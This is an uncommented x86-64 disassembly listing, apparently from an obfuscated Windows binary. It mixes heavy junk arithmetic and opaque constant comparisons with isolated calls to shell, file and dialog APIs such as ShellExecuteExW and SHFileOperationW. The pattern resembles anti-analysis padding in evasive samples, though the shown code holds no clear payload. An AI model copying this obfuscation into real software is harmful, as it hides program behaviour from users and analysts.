mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x29d0]
shl eax, cl
mov rcx, qword [rsp + 0x4fb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b58]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x1401c3b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e98]
mov rcx, qword [rsp + 0x4e70]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4d78], rax
mov rax, qword [rsp + 0x4f68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb28]
add eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
cmp dword [rsp + 0x2ac8], 0xc016
ja 0x14005fb65
movsx eax, word [rsp + 0xb28]
mov rcx, qword [rsp + 0x4e88]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0xb30]
mov rdx, qword [rsp + 0x4f68]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jne 0x14006017d
lea rax, [rsp + 0x137]
mov qword [rsp + 0x5088], rax
movzx eax, byte [rsp + 0x133]
movzx ecx, byte [rsp + 0x136]
and eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
movsx eax, word [rsp + 0xb30]
movsx ecx, word [0x1401c2a30]
add eax, ecx
mov rcx, qword [rsp + 0x4f68]
mov word [rcx], ax
mov rax, qword [rsp + 0x5040]
mov qword [rsp + 0x5090], rax
movabs rax, 0x3e520240df7efc68
cmp qword [rsp + 0x5090], rax
je 0x1400601ba
movabs rax, 0x3e80d1d5d05af445
cmp qword [rsp + 0x5090], rax
je 0x14006022e
jmp 0x1400602d7
lea rcx, [rsp + 0x155e0]
call qword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [rsp + 0x29c0], eax
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5018]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2974]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2988], eax
lea rcx, [rsp + 0x15650]
call qword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [rsp + 0x2b18], eax
call fcn.140149dc0
nop
jmp 0x1400602d7
mov rax, qword [rsp + 0x4e98]
mov rcx, qword [rsp + 0x4e70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b58], rax
lea rcx, [rsp + 0x15570]
call qword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [rsp + 0x2968], eax
mov rax, qword [rsp + 0x4e98]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4d78]
shl rax, cl
mov rcx, qword [0x1401c3b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5000]
mov rcx, qword [rsp + 0x5068]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4d88], rax
lea rcx, [rsp + 0x15390]
call qword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [rsp + 0x2b00], eax
movsx eax, word [rsp + 0xb28]
movsx ecx, word [rsp + 0xb1c]
sar eax, cl
mov word [rsp + 0xb20], ax
mov rax, qword [0x1401c3b20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x135]
or eax, ecx
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x4e50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x98]
and eax, ecx
mov rcx, qword [rsp + 0x5088]
mov byte [rcx], al
movsx eax, byte [rsp + 0x98]
movsx ecx, byte [rsp + 0x131]
add eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x5018]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4eb8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4eb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5000]
mov rcx, qword [rsp + 0x4de0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2980]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2988], eax
mov rax, qword [rsp + 0x4ef0]
mov rcx, qword [rsp + 0x4e90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1401c2a34], eax
mov rax, qword [rsp + 0x4e70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b58]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x98]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x132], al
movzx eax, word [rsp + 0xb24]
movzx ecx, word [rsp + 0xb2c]
add eax, ecx
mov word [rsp + 0xb38], ax
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5058]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov byte [rcx], al
mov eax, dword [rsp + 0x2a14]
add eax, 0xa7
mov dword [rsp + 0x2a14], eax
movsx eax, word [rsp + 0xb28]
movsx ecx, word [rsp + 0xb20]
xor eax, ecx
mov word [rsp + 0xb30], ax
mov rax, qword [rsp + 0x5018]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4eb8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5018]
mov word [rcx], ax
movzx eax, byte [rsp + 0x5f]
movzx ecx, byte [rsp + 0x135]
sar eax, cl
mov rcx, qword [rsp + 0x4e30]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29d0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2af8], eax
cmp dword [rsp + 0x2a14], 0xe8b8
jb 0x1400602d7
cmp dword [rsp + 0x2a4c], 0x7860
je 0x1400609d3
movsx eax, byte [rsp + 0x131]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401c3b18], al
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4e70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4f78], rax
mov rax, qword [rsp + 0x5000]
mov rcx, qword [rsp + 0x5068]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5000]
mov qword [rcx], rax
movsx eax, word [rsp + 0xb1c]
mov rcx, qword [rsp + 0x4e88]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb28], ax
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
add eax, ecx
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
movzx eax, word [rsp + 0xb24]
mov rcx, qword [rsp + 0x4eb8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f00]
movsx eax, word [rax]
movsx ecx, word [0x1401c2a38]
add eax, ecx
mov word [rsp + 0xb34], ax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x98]
and eax, ecx
mov byte [rsp + 0x138], al
mov rax, qword [rsp + 0x4e98]
mov rcx, qword [rsp + 0x4e70]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b58], rax
mov rax, qword [rsp + 0x4e90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29d0]
xor ecx, eax
mov eax, ecx
mov dword [0x1401c2a34], eax
mov rax, qword [rsp + 0x5040]
movzx ecx, al
mov rax, qword [rsp + 0x4de0]
shr rax, cl
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4e38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a48]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2980], eax
movzx eax, word [rsp + 0xb2c]
mov rcx, qword [rsp + 0x4eb8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xb18], ax
movzx eax, byte [rsp + 0x133]
movzx ecx, byte [rsp + 0x5f]
add eax, ecx
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x4f00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb28]
and eax, ecx
mov word [rsp + 0xb30], ax
movzx eax, byte [rsp + 0x5f]
movzx ecx, byte [rsp + 0x136]
sub eax, ecx
mov rcx, qword [rsp + 0x5070]
mov byte [rcx], al
mov rax, qword [rsp + 0x5018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb24]
add eax, ecx
mov word [rsp + 0xb38], ax
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x2974]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a48], eax
mov eax, dword [rsp + 0x2af8]
mov ecx, dword [rsp + 0x29f8]
sub ecx, eax
mov eax, ecx
mov dword [0x1401c2a34], eax
mov eax, dword [rsp + 0x2a4c]
add eax, 0x16
mov dword [rsp + 0x2a4c], eax
mov rax, qword [rsp + 0x5000]
mov rcx, qword [rsp + 0x5068]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4ee8], rax
mov rax, qword [rsp + 0x4d98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d78], rax
mov rax, qword [rsp + 0x5088]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4e50]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x137], al
movsx eax, word [rsp + 0xb34]
movsx ecx, word [rsp + 0xb30]
and eax, ecx
mov word [rsp + 0xb20], ax
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb24]
or eax, ecx
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5088]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x138], al
mov rax, qword [rsp + 0x5030]
movzx eax, byte [rax]
movzx ecx, byte [0x1401a0008]
shl eax, cl
mov rcx, qword [rsp + 0x4dd8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f70]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2974]
shr eax, cl
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x4e98]
mov rcx, qword [rsp + 0x4f78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x1401c3b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b58]
mov rcx, qword [rsp + 0x4f78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29d0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5060]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x133]
movzx ecx, byte [rsp + 0x135]
sub eax, ecx
mov byte [rsp + 0x5f], al
movzx eax, word [rsp + 0xb38]
mov rcx, qword [rsp + 0x5018]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4f00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb30], ax
mov rax, qword [rsp + 0x5088]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x138]
sub eax, ecx
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb18]
sub eax, ecx
mov rcx, qword [rsp + 0x5018]
mov word [rcx], ax
mov rax, qword [rsp + 0x5000]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4d70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5068]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2a44]
mov ecx, dword [rsp + 0x29ec]
add ecx, eax
mov eax, ecx
mov dword [0x1401c2a34], eax
mov rax, qword [rsp + 0x4e98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d78], rax
mov rax, qword [rsp + 0x4ff8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2974]
shr eax, cl
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x4f68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb20]
or eax, ecx
mov word [rsp + 0xb1c], ax
movsx eax, byte [rsp + 0x134]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x138], al
movzx eax, byte [rsp + 0x133]
movzx ecx, byte [rsp + 0x5f]
xor eax, ecx
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x4eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb38]
and eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
jmp 0x1400604b8
mov rax, qword [rsp + 0x5068]
mov rax, qword [rax]
mov qword [rsp + 0x5098], rax
movabs rax, 0x74842497d1346e17
cmp qword [rsp + 0x5098], rax
je 0x1400609fc
jmp 0x140060a07
call fcn.14014a530
nop
jmp 0x140060a87
movzx eax, word [rsp + 0xb18]
mov dword [rsp + 0x46ac], eax
cmp dword [rsp + 0x46ac], 0xf4
je 0x140148b36
jmp 0x140148b55
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
add eax, ecx
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f78]
movzx ecx, al
mov rax, qword [rsp + 0x4b58]
shl rax, cl
mov qword [rsp + 0x4d78], rax
lea rcx, [rsp + 0x153e0]
call qword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [rsp + 0x4524], eax
movsx eax, byte [str.3__nS_G]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401c3b18], al
mov r9d, dword [rsp + 0x2974]
mov r8d, dword [rsp + 0x2988]
movzx edx, word [rsp + 0xb24]
mov rax, qword [rsp + 0x4d90]
movzx ecx, byte [rax]
call fcn.14014bb40
nop
mov rax, qword [rsp + 0x4e98]
mov rcx, qword [rsp + 0x4d98]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4e70]
mov qword [rcx], rax
lea rcx, [rsp + 0xb18]
call qword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
mov eax, dword [rsp + 0x29f8]
mov ecx, dword [rsp + 0x2a44]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x29d0], eax
jmp 0x140148c59
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5f]
add eax, ecx
movzx ecx, byte [rsp + 0x135]
mov rdx, qword [rsp + 0x4ef8]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jge 0x140148c59
lea rcx, [rsp + 0x4fd8]
call qword [sym.imp.SHELL32.dll_ILClone]
mov qword [rsp + 0x15170], rax
lea r8, [rsp + 0x4f48]
lea rdx, [rsp + 0x151c0]
mov ecx, 0x32
call qword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [rsp + 0x2a90], eax
mov rax, qword [rsp + 0x4e38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28ac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4f70]
mov rdx, qword [rsp + 0x4f88]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jne 0x140148cc5
mov eax, dword [rsp + 0x2a48]
mov ecx, dword [rsp + 0x2974]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2988], eax
jmp 0x140148d37
movsx eax, byte [rsp + 0x134]
mov rcx, qword [rsp + 0x4e50]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
movsx edx, byte [0x1401c3b18]
sub ecx, edx
cmp eax, ecx
jle 0x140148d37
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ef8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x5f], al
call fcn.140149dc0
nop
jmp 0x140148d59
mov rax, qword [rsp + 0x4f88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2980]
shl eax, cl
mov rcx, qword [rsp + 0x4f70]
mov dword [rcx], eax
lea r9, [rsp + 0x156c0]
lea r8, [rsp + 0x156c0]
mov edx, 0xa
mov ecx, 0x3a
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
nop
movsx eax, word [rsp + 0xb28]
mov dword [rsp + 0x46b0], eax
cmp dword [rsp + 0x46b0], 0x1061
je 0x140148d98
jmp 0x140148e01
mov edx, 0xd0
lea rcx, [rsp + 0x15cb0]
call qword [sym.imp.SHELL32.dll_SHGetSettings]
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x133]
add eax, ecx
mov byte [rsp + 0x5f], al
movsx eax, byte [rsp + 0x134]
mov rcx, qword [rsp + 0x4e50]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d88]
mov rcx, qword [rsp + 0x4ee8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4f00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4f68]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401c2a30], ax
movzx eax, word [rsp + 0xb2c]
movzx ecx, word [rsp + 0xb18]
add eax, ecx
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
and eax, ecx
movsx ecx, byte [rsp + 0x131]
mov rdx, qword [rsp + 0x4d90]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jg 0x140148f12
movzx eax, word [rsp + 0xb24]
mov dword [rsp + 0x46b4], eax
cmp dword [rsp + 0x46b4], 0xd7c
je 0x140148ef8
cmp dword [rsp + 0x46b4], 0xe50
je 0x140148e9d
jmp 0x140148f12
mov rax, qword [0x1401c3b10]
mov rcx, qword [rsp + 0x4d78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f78], rax
lea rdx, [rsp + 0x29d0]
lea rcx, [rsp + 0x2a04]
call qword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [rsp + 0x2ae0], eax
mov rax, qword [rsp + 0x4f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2988]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4f88]
mov dword [rcx], eax
jmp 0x140148f12
movzx eax, word [rsp + 0xb18]
movzx ecx, word [rsp + 0xb24]
sub eax, ecx
mov word [rsp + 0xb2c], ax
mov eax, dword [rsp + 0x29f8]
movzx ecx, al
mov eax, dword [rsp + 0x29ec]
sar eax, cl
mov rcx, qword [rsp + 0x4e90]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x29d0]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x140148f40
jmp 0x140148f91
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb2c]
or eax, ecx
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x4eb8]
movzx edx, word [rdx]
xor ecx, edx
cmp eax, ecx
jl 0x140148f91
xor r8d, r8d
lea rdx, [rsp + 0x15240]
lea rcx, [rsp + 0xb20]
call qword [sym.imp.SHELL32.dll_ILIsParent]
mov dword [rsp + 0x46a4], eax
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
mov byte [rsp + 0x46b8], al
cmp byte [rsp + 0x46b8], 0x84
je 0x14014901b
cmp byte [rsp + 0x46b8], 0xdc
je 0x140148fb9
jmp 0x140149037
mov rcx, qword [rsp + 0x14f78]
call qword [sym.imp.SHELL32.dll_DragFinish]
mov rax, qword [rsp + 0x4e38]
mov ecx, dword [rsp + 0x2974]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ef0]
mov ecx, dword [rsp + 0x2a44]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x29ec], eax
lea rcx, [rsp + 0x156c0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [rsp + 0x2a84], eax
call fcn.140149dc0
nop
jmp 0x140149037
mov rax, qword [rsp + 0x4e50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x134]
add eax, ecx
mov byte [rsp + 0x98], al
jmp 0x140149080
movsx eax, byte [0x1401c3b18]
mov rcx, qword [rsp + 0x4e50]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x98], al
mov rax, qword [rsp + 0x4e38]
mov r9d, dword [rax]
mov r8d, dword [rsp + 0x2980]
mov rax, qword [rsp + 0x4db0]
movzx edx, word [rax]
movzx ecx, byte [rsp + 0x132]
call fcn.14014bb40
nop
mov rax, qword [rsp + 0x4e70]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4e98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d90]
movzx eax, byte [rax]
mov byte [rsp + 0x46bc], al
cmp byte [rsp + 0x46bc], 0x1f
je 0x1401490bf
jmp 0x1401490c1
jmp 0x1401490de
lea rdx, [rsp + 0x15ff0]
mov rcx, qword [rsp + 0x4f18]
call qword [sym.imp.SHELL32.dll_DragQueryPoint]
mov dword [rsp + 0x2a98], eax
movsx eax, word [rsp + 0xb28]
movsx ecx, word [rsp + 0xb1c]
sub eax, ecx
mov word [rsp + 0xb20], ax
movsx eax, byte [rsp + 0x131]
movsx ecx, byte [rsp + 0x98]
sub eax, ecx
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x138]
and ecx, edx
cmp eax, ecx
je 0x1401491b8
lea r9, [rsp + 0x4db0]
lea r8, [rsp + 0x5f]
lea rdx, [rsp + 0x4e70]
lea rcx, [rsp + 0x29c0]
call qword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [rsp + 0x2a38], eax
movzx eax, byte [rsp + 0x136]
movzx ecx, byte [rsp + 0x133]
xor eax, ecx
mov byte [rsp + 0x5f], al
mov edx, 1
mov rcx, qword [rsp + 0x5028]
call qword [sym.imp.SHELL32.dll_DragAcceptFiles]
movzx eax, byte [rsp + 0x136]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb18]
add eax, ecx
mov word [rsp + 0xb24], ax
jmp 0x14014921f
mov rax, qword [rsp + 0x4d88]
movzx ecx, al
mov rax, qword [rsp + 0x4ee8]
shr rax, cl
mov rcx, qword [rsp + 0x4de0]
mov rdx, qword [rsp + 0x4d70]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
ja 0x14014921f
mov rax, qword [rsp + 0x4e88]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
mov r9d, dword [rsp + 0x2974]
movzx r8d, word [rsp + 0xb24]
movzx edx, word [rsp + 0xb2c]
mov rcx, qword [0x1401c3b10]
call fcn.14014af40
nop
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
mov byte [rsp + 0x46c0], al
cmp byte [rsp + 0x46c0], 0xa9
je 0x140149280
cmp byte [rsp + 0x46c0], 0xb6
je 0x140149247
jmp 0x14014929a
mov rax, qword [rsp + 0x4e50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
lea rcx, [rsp + 0x15240]
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov dword [rsp + 0x29ec], eax
jmp 0x14014929a
mov rax, qword [rsp + 0x4e90]
mov ecx, dword [rsp + 0x29d0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x29ec], eax
jmp 0x140149328
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x2974]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov edx, dword [rsp + 0x28ac]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jne 0x1401492ca
jmp 0x1401492e7
mov eax, dword [rsp + 0x28ac]
movzx ecx, al
mov eax, dword [rsp + 0x2974]
shr eax, cl
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
lea rdx, [rsp + 0xb24]
lea rcx, [rsp + 0xb28]
call qword [sym.imp.SHELL32.dll_SHIsFileAvailableOffline]
mov dword [rsp + 0x2ae0], eax
mov rax, qword [rsp + 0x4d88]
mov rcx, qword [rsp + 0x4de0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
call fcn.140149dc0
nop
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb2c]
shl eax, cl
movzx ecx, word [rsp + 0xb18]
movzx edx, word [rsp + 0xb24]
and ecx, edx
cmp eax, ecx
jge 0x14014936b
lea rcx, [rsp + 0x15300]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov qword [rsp + 0x15188], rax
jmp 0x1401493d0
movsx eax, byte [rsp + 0x132]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
sub eax, ecx
movsx ecx, byte [rsp + 0x134]
movsx edx, byte [rsp + 0x131]
sub ecx, edx
cmp eax, ecx
jle 0x1401493d0
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
movsx eax, word [rsp + 0xb1c]
movsx ecx, word [rsp + 0xb20]
sub eax, ecx
mov word [0x1401c2a30], ax
call fcn.140149dc0
nop
mov rax, qword [rsp + 0x4df0]
movzx eax, byte [rax]
mov byte [rsp + 0x46c4], al
cmp byte [rsp + 0x46c4], 0x4d
je 0x140149405
cmp byte [rsp + 0x46c4], 0x67
je 0x1401494a0
jmp 0x1401494bf
mov rax, qword [rsp + 0x4d98]
movabs rcx, 0x257e29f8f327fcc7
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4d78], rax
mov rax, qword [rsp + 0x4d88]
movzx ecx, al
mov rax, qword [rsp + 0x4d70]
shr rax, cl
cmp rax, qword [rsp + 0x4de0]
ja 0x140149481
mov rdx, qword [rsp + 0x4f38]
mov rcx, qword [rsp + 0x4dc8]
call qword [sym.imp.KERNEL32.dll_SetFileShortNameW]
mov dword [rsp + 0x2a84], eax
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
add eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb2c]
and eax, ecx
mov word [rsp + 0xb18], ax
jmp 0x1401494bf
mov r8, qword [rsp + 0x4e78]
mov edx, 0xcd
mov ecx, 0x66
call qword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
mov dword [rsp + 0x2a04], eax
jmp 0x140149566
movzx eax, word [rsp + 0xb24]
movzx ecx, word [rsp + 0xb18]
xor eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
movsx eax, word [rsp + 0xb20]
movsx ecx, word [rsp + 0xb1c]
and eax, ecx
movsx ecx, word [rsp + 0xb28]
cmp eax, ecx
jle 0x140149538
movsx eax, word [rsp + 0xb20]
movsx ecx, word [rsp + 0xb1c]
sub eax, ecx
mov word [rsp + 0xb28], ax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x134]
add eax, ecx
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x134]
movsx ecx, byte [rsp + 0x132]
add eax, ecx
mov byte [rsp + 0x131], al
mov rcx, qword [rsp + 0x4d68]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov dword [rsp + 0x2b00], eax
movabs rax, 0x69aba4829125951e
mov rcx, qword [rsp + 0x4d78]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
